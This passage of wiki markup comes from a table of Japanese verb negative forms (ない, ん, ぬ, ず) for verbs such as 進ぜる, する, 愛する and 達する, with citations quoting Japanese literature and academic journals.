Buddhist Studies|number=58|publisher=Minobusan University|date=30 March 1986|issn=09103791|doi=10.15054/00000806}}</ref><ref name=hori-2009>{{#invoke:cite|journal|lang=ja|script-quote=ja:「国家(ポリス)の信ずる神々を信ぜず、新しい神霊(ダイモニア)を信じる者」|page=17|url=https://ngu.repo.nii.ac.jp/record/279/files/syakai_vol4602_10.pdf|last=Hori|first=Takahiko|script-title=ja:近代倫理学生誕への道(二)――現代的人権、習俗と道徳ほか(70~86年)――|script-journal=ja:名古屋学院大学論集 社会科学篇|volume=46|number=2|date=October 2009}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:いわく、ソクラテスはポリスの信じる神がみ(die Götter)を信ぜず、その代わりにもろもろの新たな神性(Gottheiten)を導入した、そして彼は若者を腐敗させている、と。|page=57|url=https://www.jstage.jst.go.jp/article/jpp/22/0/22_3/_pdf|last=Sakai|first=Reimon|script-title=ja:コジェーヴにおける「無神論と国家」あるいは「哲学と政治」について ――シュトラウスとの対比から――|script-journal=ja:政治哲学|number=22|year=2017}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|give|進じる|shinjiru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not give|進じない|shinjinai}}<br>{{#invoke:nihongo|nihongo_krt||進じん|shinjin}}<br>{{#invoke:nihongo|nihongo_krt||進じぬ|shinjinu}}<br>{{#invoke:nihongo|nihongo_krt||進じず|shinjizu}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not give|進ぜん|shinzen}}<br>{{#invoke:nihongo|nihongo_krt||進ぜぬ|shinzenu}}<br>{{#invoke:nihongo|nihongo_krt||進ぜず|shinzezu}}
|-
| {{#invoke:nihongo|nihongo_krt|give|進ぜる|shinzeru}}
| style=text-align:right | {{#invoke:lang|lang|ja|進ぜ}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進ぜ}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not give|進ぜない|shinzenai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:その<ruby>身<rp>(</rp><rt>み</rt><rp>)</rp></ruby><ruby>正<rp>(</rp><rt>せい</rt><rp>)</rp></ruby><ruby>道<rp>(</rp><rt>だう</rt><rp>)</rp></ruby>に<ruby>賴<rp>(</rp><rt>たの</rt><rp>)</rp></ruby>まるゝ<ruby>事<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>なれば、<ruby>善<rp>(</rp><rt>ぜん</rt><rp>)</rp></ruby><ruby>惡<rp>(</rp><rt>あく</rt><rp>)</rp></ruby>の<ruby>道<rp>(</rp><rt>みち</rt><rp>)</rp></ruby>も<ruby>分<rp>(</rp><rt>わ</rt><rp>)</rp></ruby>けて<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜる。また<ruby>其<rp>(</rp><rt>そ</rt><rp>)</rp></ruby><ruby>方<rp>(</rp><rt>ちら</rt><rp>)</rp></ruby>のお<ruby>若<rp>(</rp><rt>わか</rt><rp>)</rp></ruby>いのがたのまつしやる<ruby>事<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>も、そりやハヤ、<ruby>侍<rp>(</rp><rt>さむら</rt><rp>)</rp></ruby>ひの<ruby>道<rp>(</rp><rt>みち</rt><rp>)</rp></ruby>に<ruby>叶<rp>(</rp><rt>かな</rt><rp>)</rp></ruby>うた<ruby>事<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>なれば、<ruby>年<rp>(</rp><rt>とし</rt><rp>)</rp></ruby>こそ<ruby>寄<rp>(</rp><rt>よ</rt><rp>)</rp></ruby>つたれ<ruby>宅<rp>(</rp><rt>たく</rt><rp>)</rp></ruby><ruby>間<rp>(</rp><rt>ま</rt><rp>)</rp></ruby><ruby>幻<rp>(</rp><rt>げん</rt><rp>)</rp></ruby><ruby>龍<rp>(</rp><rt>りう</rt><rp>)</rp></ruby>、たとへ<ruby>相<rp>(</rp><rt>あひ</rt><rp>)</rp></ruby><ruby>手<rp>(</rp><rt>て</rt><rp>)</rp></ruby>が<ruby>鬼<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>神<rp>(</rp><rt>じん</rt><rp>)</rp></ruby>でも、<ruby>賴<rp>(</rp><rt>たの</rt><rp>)</rp></ruby>まれて<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜないものでもないが、<ruby>二<rp>(</rp><rt>ふた</rt><rp>)</rp></ruby><ruby>人<rp>(</rp><rt>り</rt><rp>)</rp></ruby>が<ruby>二<rp>(</rp><rt>ふた</rt><rp>)</rp></ruby><ruby>人<rp>(</rp><rt>り</rt><rp>)</rp></ruby>、<ruby>揃<rp>(</rp><rt>そろ</rt><rp>)</rp></ruby>ひも<ruby>揃<rp>(</rp><rt>そろ</rt><rp>)</rp></ruby>うた<ruby>無<rp>(</rp><rt>ぶ</rt><rp>)</rp></ruby><ruby>道<rp>(</rp><rt>だう</rt><rp>)</rp></ruby>な<ruby>侍<rp>(</rp><rt>さむら</rt><rp>)</rp></ruby>ひ。|page=60|url=https://dl.ndl.go.jp/pid/1193178/1/54|script-title=ja:大南北全集|volume=10|publisher=Shunyodo|date=9 July 1927|last=Tsuruya|first=Nanboku|editor-last=Tsubouchi|editor-first=Shōyō|editor-first2=Seitarō|editor-last2=Atsumi|location=[[Nihonbashi]], Tokyo}}</ref><br>{{#invoke:nihongo|nihongo_krt||進ぜん|shinzen}}<br>{{#invoke:nihongo|nihongo_krt||進ぜぬ|shinzenu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:『これを、<ruby>是<rp>(</rp><rt>これ</rt><rp>)</rp></ruby>をお<ruby>主<rp>(</rp><rt>ぬし</rt><rp>)</rp></ruby>に<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜる、いや<ruby>只<rp>(</rp><rt>たゞ</rt><rp>)</rp></ruby>に<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜぬぢや、<ruby>長<rp>(</rp><rt>なが</rt><rp>)</rp></ruby><ruby>持<rp>(</rp><rt>もち</rt><rp>)</rp></ruby>と<ruby>共<rp>(</rp><rt>とも</rt><rp>)</rp></ruby>に二十<ruby>兩<rp>(</rp><rt>れう</rt><rp>)</rp></ruby>に<ruby>預<rp>(</rp><rt>あづか</rt><rp>)</rp></ruby>つて<ruby>貰<rp>(</rp><rt>もら</rt><rp>)</rp></ruby>いたい』|pp=133–134|script-chapter=ja:☆其二十六|date=15 November 1920|publisher=Shinshindō Shoten|location=[[Minami-ku, Sakai|Minami]], Osaka|script-title=ja:薔薇娘附美少年|author=Nunosuke|url=https://dl.ndl.go.jp/pid/915306/1/72}}</ref><br>{{#invoke:nihongo|nihongo_krt||進ぜず|shinzezu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「<ruby>久<rp>(</rp><rt>ひさ</rt><rp>)</rp></ruby>しぶりで<ruby>捻<rp>(</rp><rt>ひね</rt><rp>)</rp></ruby>り<ruby>餠<rp>(</rp><rt>もち</rt><rp>)</rp></ruby><ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜずば<ruby>成<rp>(</rp><rt>な</rt><rp>)</rp></ruby>るまい。」[…]<ruby>重<rp>(</rp><rt>かさ</rt><rp>)</rp></ruby>ねて<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜるしびんも<ruby>有<rp>(</rp><rt>あ</rt><rp>)</rp></ruby>らう、[…]<ruby>娘<rp>(</rp><rt>むすめ</rt><rp>)</rp></ruby>を<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜずとも、|pp=353, 509, 536|date=18 April 1927|location=[[Kōjimachi]], Tokyo|publisher=Kokumin Tosho|script-title=ja:近代日本文學大系|volume=8|editor=Kokumin Tosho|url=https://dl.ndl.go.jp/pid/1883501/1/208}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|exit|出る|deru}}
| style=text-align:right | {{#invoke:lang|lang|ja|出}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|出}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not exit|出ない|denai}}<br>{{#invoke:nihongo|nihongo_krt||出ん|den}}<br>{{#invoke:nihongo|nihongo_krt||出ぬ|denu}}<br>{{#invoke:nihongo|nihongo_krt||出ず|dezu}}
|-
! style=text-align:left colspan=5 | Irregular verbs
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|do|する|suru}}
| rowspan=2 style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not do|しない|shinai}}
|-
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not do|せん|sen}}<br>{{#invoke:nihongo|nihongo_krt||せぬ|senu}}<br>{{#invoke:nihongo|nihongo_krt||せず|sezu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|study|勉強する|benkyō suru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not study|勉強しない|benkyō shinai}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not study|勉強せん|benkyō sen}}<br>{{#invoke:nihongo|nihongo_krt||勉強せぬ|benkyō senu}}<br>{{#invoke:nihongo|nihongo_krt||勉強せず|benkyō sezu}}
|-
|rowspan=3| {{#invoke:nihongo|nihongo_krt|love|愛する|aisuru}}
|rowspan=3 style=text-align:right | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not love|愛さない|aisanai}}<ref name=hatsumi-1950 /><ref name=nishino-1994>{{#invoke:cite|book|lang=ja|script-quote=ja:竪刁は料理番ですが、わが君がまだ召し上がってないのは人間の肉だけと知ると、なんと自分の長男を殺して蒸焼きにし、勧めました。わが子を愛さぬ者はありません。わが子さえ愛せぬ者が、どうしてご主君を愛せましょう。|trans-quote=Shudiao is a cook who, after learning that his lord had not had human flesh, slaughtered his own eldest son, casseroled him, then served him up. No man does not love his own son. If he is not capable of loving even his own son, in what way could he ever love his lord?|page=108|script-chapter=ja:八五、わが子を蒸焼きにした男|trans-chapter=85, The man who casseroled his own son|script-title=ja:韓非子|trans-title=[[Han Feizi]]|series={{#invoke:lang|lang|ja|中国古典百言百話}}|volume=2|last=Nishino|first=Hiroyoshi|date=15 April 1994|publisher=PHP Institute|location=[[Kōtō]], Tokyo|isbn=4-569-56628-6}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:むしろ他者を慮外においていては自分を愛することはできないし、また自分を愛さないものが他人を愛することもできない。[…]特定の誰かを、あるいは何かを愛するのではなく、愛はすべてのものに開かれた働きを指している。したがって、自己を愛さない非利己的な愛(unselfish love)があるとすれば、それは「神経症的(neurotic)」である、ということになる。[…]あなたが、自分自身を愛するよりもわずかにしか他人を愛さないようでは、あなた自身を愛することにも、ほんとうは成功しないであろう。|pp=7, 13–14|script-title=ja:自己愛と利他愛のむすびつき ―P.A.ソローキンとE.フロム―|url=https://wesleyan.repo.nii.ac.jp/?action=repository_uri&item_id=842&file_id=19&file_no=1|last=Yoshino|first=Kōji|script-journal=ja:現代社会学部紀要|publisher=Nagasaki Wesleyan University|volume=16|number=1|year=2018}}</ref><br>{{#invoke:nihongo|nihongo_krt||愛さん|aisan}}<br>{{#invoke:nihongo|nihongo_krt||愛さぬ|aisanu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「我は人間を愛さぬものではないが、より多く自然を愛する」とバイロンは歌つてゐる。|trans-quote=“I love not Man the less, but Nature more,” chants Byron.|page=100|script-chapter=ja:否定的能動|trans-chapter=Negative Activity|script-title=ja:東洋の道と美|trans-title=The Oriental Way and Beauty|date=30 October 1943|last=Nagayo|first=Yoshirō|publisher={{#invoke:lang|lang|ja|聖紀書房}}|location=[[Kanda, Tokyo]]|url=https://dl.ndl.go.jp/pid/1068777/1/64}}</ref><br>{{#invoke:nihongo|nihongo_krt||愛さず|aisazu}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:「ドン・ファンの愛は魂的ではなく感性的であって、感性的な愛はその概念に従えば、貞節ではなく、絶対的に不貞であり、一人の女を愛さずに全ての女を愛する。即ち、全ての女を誘惑するのである」|page=41|last=Kinose|first=Kōte|script-title=ja:キェルケゴールにおける「直接性」と「反省」|script-journal=ja:新キェルケゴール研究|number=17|year=2019|doi=10.57316/kierkegaard.2019.17_31 |url=https://www.jstage.jst.go.jp/article/kierkegaard/2019/17/2019_31/_article/-char/ja/}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not love|愛しない|aishinai}}<ref>{{#invoke:cite|journal|doi=10.14988/pa.2017.0000016663|script-journal=ja:主流|volume=23|lang=ja|script-quote=ja:万物を愛しないわけには行くまい。|url=https://doshisha.repo.nii.ac.jp/record/25630/files/008000230010.pdf|page=99|last=Okamoto|first=Masao|script-title=ja:コールリッジ 「イーオラスのハープ」 ――訳と解説――|publisher=English Literary Society of Doshisha|issn=03893138|date=10 October 1961}}</ref><ref>{{#invoke:cite|thesis|lang=ja|script-quote=ja:そのかわり,Brutusは,Caesarの打倒は,ローマの自由のためであり,BrutusはCaesarを愛しないのではなく,ローマをより愛するのだと,民衆に訴えるために,雄弁のかぎりをつくす。|page=15|last=Hiraiwa|first=Toshio|script-title=ja:火と血のイメィジ ――Julius Caesar――|degree=doctoral|publisher=Aichi University of Education|year=1970|url=https://aue.repo.nii.ac.jp/record/3064/files/gaikoku8118.pdf}}</ref><ref>{{citation|lang=ja|script-quote=ja:父親にしろ母親にしろ人の親として子供を愛しないものがあるか。|script-title=ja:野上彌生子「母親は何故に子供を愛するか」をめぐって ―『野上彌生子全集』未収録資料の紹介を兼ねて―|url=https://catalog.lib.kyushu-u.ac.jp/opac_download_md/19887/3_matsumoto.pdf|last=Matsumoto|first=Tsunehiko|year=2010|publisher=Kyushu University}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:あの娘を愛しない奴なんているのか。|page=122|script-title=ja:ロバート・バートン 『憂鬱の解剖』 第3 部 第2章 第2節 第4−5項|last1=Okamura|first1=Akiko|last2=Itō|first2=Hiroaki|script-journal=ja:京都府立大学学術報告(人文)|number=72|date=September 2020|url=https://kpu.repo.nii.ac.jp/record/6228/files/j_72_006.pdf}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not love|愛せん|aisen}}<br>{{#invoke:nihongo|nihongo_krt||愛せぬ|aisenu}}<br>{{#invoke:nihongo|nihongo_krt||愛せず|aisezu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|reach|達する|tassuru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''<br>{{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not reach|達さない|tassanai}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:(体長457.0mmの個体では背鰭第9棘基部直下に達する程度で肛門には達さない)|page=31|url=http://journal.kagoshima-nature.org/archives/NK_040/040-006.pdf|first1=Mizuki|last1=Matsunuma|first2=Hiroyuki|last2=Motomura|script-title=ja:メバル科ホウズキ ''Hozukius emblemarius'' の奄美群島とトカラ列島からの記録|journal=Nature of Kagoshima|volume=40|date=March 2014}}</ref><br>{{#invoke:nihongo|nihongo_krt||達しない|tasshinai}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:背鰭最後軟条の後端は体背縁に達するか,僅かに達しない.|page=158|url=https://journal.kagoshima-nature.org/archives/NK_041/041-027.pdf|last1=Hata|first1=Harutaka|last2=Haraguchi|first2=Yuriko|last3=Motomura|first3=Hiroyuki|script-title=ja:鹿児島湾から得られたタチウオ科魚類ユメタチモドキ ''Evoxymetopon taeniatum''|journal=Nature of Kagoshima|volume=41|date=March 2015}}</ref><br>{{#invoke:nihongo|nihongo_krt||達さん|tassan}}<br>{{#invoke:nihongo|nihongo_krt||達しん|tasshin}}<br>{{#invoke:nihongo|nihongo_krt||達さぬ|tassanu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>目<rp>(</rp><rt>め</rt><rp>)</rp></ruby>ざす<ruby>淨<rp>(</rp><rt>じやう</rt><rp>)</rp></ruby><ruby>土<rp>(</rp><rt>ど</rt><rp>)</rp></ruby>へ<ruby>達<rp>(</rp><rt>たつ</rt><rp>)</rp></ruby>さぬ<ruby>先<rp>(</rp><rt>さき</rt><rp>)</rp></ruby>に、<ruby>身<rp>(</rp><rt>み</rt><rp>)</rp></ruby>が<ruby>早<rp>(</rp><rt>はや</rt><rp>)</rp></ruby>く<ruby>疲<rp>(</rp><rt>つか</rt><rp>)</rp></ruby>れてしまふが、<ruby>易<rp>(</rp><rt>い</rt><rp>)</rp></ruby><ruby>行<rp>(</rp><rt>ぎやう</rt><rp>)</rp></ruby><ruby>道<rp>(</rp><rt>だう</rt><rp>)</rp></ruby>は<ruby>之<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>れに<ruby>反<rp>(</rp><rt>はん</rt><rp>)</rp></ruby>して、<ruby>船<rp>(</rp><rt>ふね</rt><rp>)</rp></ruby>に<ruby>乘<rp>(</rp><rt>の</rt><rp>)</rp></ruby>つて<ruby>彼<rp>(</rp><rt>ひ</rt><rp>)</rp></ruby><ruby>岸<rp>(</rp><rt>がん</rt><rp>)</rp></ruby>に<ruby>渡<rp>(</rp><rt>わた</rt><rp>)</rp></ruby>るやうなもので、一<ruby>心<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>に<ruby>彌<rp>(</rp><rt>み</rt><rp>)</rp></ruby><ruby>陀<rp>(</rp><rt>だ</rt><rp>)</rp></ruby>をさへ<ruby>念<rp>(</rp><rt>ねん</rt><rp>)</rp></ruby>ずれば、<ruby>他<rp>(</rp><rt>た</rt><rp>)</rp></ruby><ruby>力<rp>(</rp><rt>りき</rt><rp>)</rp></ruby>を<ruby>以<rp>(</rp><rt>もつ</rt><rp>)</rp></ruby>て<ruby>自<rp>(</rp><rt>し</rt><rp>)</rp></ruby><ruby>然<rp>(</rp><rt>ぜん</rt><rp>)</rp></ruby>に<ruby>彼<rp>(</rp><rt>ひ</rt><rp>)</rp></ruby><ruby>岸<rp>(</rp><rt>がん</rt><rp>)</rp></ruby>に<ruby>達<rp>(</rp><rt>たつ</rt><rp>)</rp></ruby>することが<ruby>能<rp>(</rp><rt>で</rt><rp>)</rp></ruby>きるといふから<ruby>說<rp>(</rp><rt>と</rt><rp>)</rp></ruby>き<ruby>起<rp>(</rp><rt>おこ</rt><rp>)</rp></ruby>して、|url=https://dl.ndl.go.jp/pid/943495/1/83|page=129|script-chapter=ja:<ruby>北<rp>(</rp><rt>ほく</rt><rp>)</rp></ruby><ruby>嶺<rp>(</rp><rt>れい</rt><rp>)</rp></ruby>の<ruby>警<rp>(</rp><rt>けい</rt><rp>)</rp></ruby><ruby>鐘<rp>(</rp><rt>しよう</rt><rp>)</rp></ruby>|date=8 August 1914|last=Sudō|first=Mitsuaki|location=[[Kōjimachi]], Tokyo|publisher=Kanao Bun'endō|script-title=ja:親鸞聖人}}</ref><br>{{#invoke:nihongo|nihongo_krt||達しぬ|tasshinu}}<br>{{#invoke:nihongo|nihongo_krt||達さず|tassazu}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:それらの黒色横帯は体腹縁に達さず,胸鰭基底後端の位置に達する.|page=250|url=https://journal.kagoshima-nature.org/archives/NK_045/045-044.pdf|script-title=ja:薩摩半島西岸から得られたヒメジ科魚類 2 種:九州初記録のフタスジヒメジと鹿児島県初記録のコハクヒメジ|last1=Bandai|first1=Ayumi|last2=Itō|first2=Masahide|first3=Hiroyuki|last3=Motomura|journal=Nature of Kagoshima|volume=45|year=2019}}</ref><br>{{#invoke:nihongo|nihongo_krt||達しず|tasshizu}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not reach|達せん|tassen}}<br>{{#invoke:nihongo|nihongo_krt||達せぬ|tassenu}}<br>{{#invoke:nihongo|nihongo_krt||達せず|tassezu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|guess|察する|sassuru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not guess|察しない|sasshinai}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:当初,察する国で生きてきた者としては,これはかなりつらいのではと予想していたのですが,反対に良い点でもありました.察しない国の良いところは,自分も察しなくてもよいということです.言語が異なるため,察することがそもそも難しいのですが,言われたことをそのまま裏表なく受け取ればよいので心が楽です.|page=307|last=Ohmae|first=Aya|url=https://www.jstage.jst.go.jp/article/bplus/12/4/12_306/_pdf|script-title=ja:ミュンヘンの小窓から|publisher=[[Institute of Electronics, Information and Communication Engineers]]|script-journal=ja:通信ソサイエティマガジン|volume=12|number=4|year=2019}}</ref><br>{{#invoke:nihongo|nihongo_krt||察しん|sasshin}}<br>{{#invoke:nihongo|nihongo_krt||察しぬ|sasshinu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>するところ大石が<ruby>出<rp>(</rp><rt>しゆつ</rt><rp>)</rp></ruby><ruby>府<rp>(</rp><rt>ぷ</rt><rp>)</rp></ruby><ruby>匆<rp>(</rp><rt>そう</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〱</rt><rp>)</rp></ruby>中島五郞作などを<ruby>訪<rp>(</rp><rt>おとづ</rt><rp>)</rp></ruby>れるといふのも、[…]<ruby>無<rp>(</rp><rt>む</rt><rp>)</rp></ruby><ruby>理<rp>(</rp><rt>り</rt><rp>)</rp></ruby>は<ruby>承<rp>(</rp><rt>しよう</rt><rp>)</rp></ruby><ruby>知<rp>(</rp><rt>ち</rt><rp>)</rp></ruby>だ、<ruby>赤<rp>(</rp><rt>あか</rt><rp>)</rp></ruby><ruby>穗<rp>(</rp><rt>ほ</rt><rp>)</rp></ruby><ruby>浪<rp>(</rp><rt>らう</rt><rp>)</rp></ruby><ruby>士<rp>(</rp><rt>し</rt><rp>)</rp></ruby>の<ruby>意<rp>(</rp><rt>い</rt><rp>)</rp></ruby><ruby>氣<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>地<rp>(</rp><rt>ぢ</rt><rp>)</rp></ruby>も<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しぬことはない。|pp=13, 202|script-title=ja:定本忠臣藏|date=20 October 1942|last=Yata|first=Sōun|publisher={{#invoke:lang|lang|ja|長隆舍書店}}|location=[[Kanda, Tokyo]]|url=https://dl.ndl.go.jp/pid/1135969/1/105}}</ref><br>{{#invoke:nihongo|nihongo_krt||察しず|sasshizu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>俯<rp>(</rp><rt>うつ</rt><rp>)</rp></ruby><ruby>向<rp>(</rp><rt>む</rt><rp>)</rp></ruby>いた<ruby>顏<rp>(</rp><rt>かほ</rt><rp>)</rp></ruby>に<ruby>傳<rp>(</rp><rt>つた</rt><rp>)</rp></ruby>ふ<ruby>淚<rp>(</rp><rt>なみだ</rt><rp>)</rp></ruby>を<ruby>視<rp>(</rp><rt>み</rt><rp>)</rp></ruby>て、<ruby>詮<rp>(</rp><rt>ぜん</rt><rp>)</rp></ruby><ruby>之<rp>(</rp><rt>の</rt><rp>)</rp></ruby><ruby>助<rp>(</rp><rt>すけ</rt><rp>)</rp></ruby>は<ruby>粗<rp>(</rp><rt>ほ</rt><rp>)</rp></ruby>ば<ruby>事<rp>(</rp><rt>じ</rt><rp>)</rp></ruby><ruby>情<rp>(</rp><rt>ぜう</rt><rp>)</rp></ruby>を<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>することを<ruby>得<rp>(</rp><rt>え</rt><rp>)</rp></ruby>た。[…]<ruby>身<rp>(</rp><rt>み</rt><rp>)</rp></ruby><ruby>悶<rp>(</rp><rt>もだ</rt><rp>)</rp></ruby>えして<ruby>聞<rp>(</rp><rt>き</rt><rp>)</rp></ruby>きたがる<ruby>萩<rp>(</rp><rt>をぎ</rt><rp>)</rp></ruby><ruby>江<rp>(</rp><rt>え</rt><rp>)</rp></ruby>の、<ruby>火<rp>(</rp><rt>ひ</rt><rp>)</rp></ruby>の<ruby>着<rp>(</rp><rt>つ</rt><rp>)</rp></ruby>くやうな<ruby>胸<rp>(</rp><rt>むね</rt><rp>)</rp></ruby>のうちを<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>してか、<ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>しずにかも<ruby>知<rp>(</rp><rt>し</rt><rp>)</rp></ruby>れぬ<ruby>程<rp>(</rp><rt>ほど</rt><rp>)</rp></ruby>、<ruby>眞<rp>(</rp><rt>しん</rt><rp>)</rp></ruby><ruby>樹<rp>(</rp><rt>じゆ</rt><rp>)</rp></ruby><ruby>院<rp>(</rp><rt>ゐん</rt><rp>)</rp></ruby>は<ruby>悠<rp>(</rp><rt>いう</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〱</rt><rp>)</rp></ruby>と<ruby>烟<rp>(</rp><rt>たばこ</rt><rp>)</rp></ruby>を<ruby>燻<rp>(</rp><rt>くゆ</rt><rp>)</rp></ruby>らしていた。|url=https://dl.ndl.go.jp/pid/908740/1/118|pp=72, 